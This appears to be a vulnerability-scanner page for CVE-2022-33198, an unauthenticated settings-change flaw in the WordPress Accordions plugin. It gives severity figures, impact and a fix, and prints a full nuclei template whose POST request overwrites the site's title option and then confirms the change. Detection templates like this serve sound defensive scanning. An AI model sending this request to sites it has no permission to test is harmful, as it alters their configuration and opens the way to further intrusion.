WordPress Accordions - Unauthenticated Settings Update

criticalseverity

9.8CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari's Accordions plugin <= 2.0.2 at WordPress.

Impact

Attackers can modify plugin options, potentially leading to site defacement, functionality disruption, or further exploitation.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-json/oxiaccordionsultimate/v1/oxi_settings
Positive when: status_code == 200 and contains(body, "oxi-confirmation-success")
Send: GET /wp-json
Positive when: contains "\"name\":\"{{marker}}\"" AND status 200

Run it with nuclei: nuclei -id CVE-2022-33198 -u <target>

The full check

id: CVE-2022-33198

info:
  name: WordPress Accordions  - Unauthenticated Settings Update
  author: riteshs4hu
  severity: critical
  description: |
    Unauthenticated WordPress Options Change vulnerability in Biplob Adhikari's Accordions plugin <= 2.0.2 at WordPress.
  impact: |
    Attackers can modify plugin options, potentially leading to site defacement, functionality disruption, or further exploitation.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://vdp.patchstack.com/database/wordpress/plugin/accordions-or-faqs/vulnerability/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-33198
    - https://patchstack.com/database/vulnerability/accordions-or-faqs/wordpress-accordions-plugin-2-0-2-unauthenticated-wordpress-options-change-vulnerability
    - https://wordpress.org/plugins/accordions-or-faqs/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-33198
    cwe-id: CWE-264,NVD-CWE-Other
    epss-score: 0.03345
    epss-percentile: 0.88771
    cpe: cpe:2.3:a:oxilab:accordions:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: oxilab
    product: accordions
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wp,wordpress,unauth,accordions,vuln,vkev
variables:
  marker: '{{rand_text_alpha(10, "abc")}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/oxiaccordionsultimate/v1/oxi_settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{marker}}%22%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "oxi-confirmation-success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-json HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"name":"{{marker}}"'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from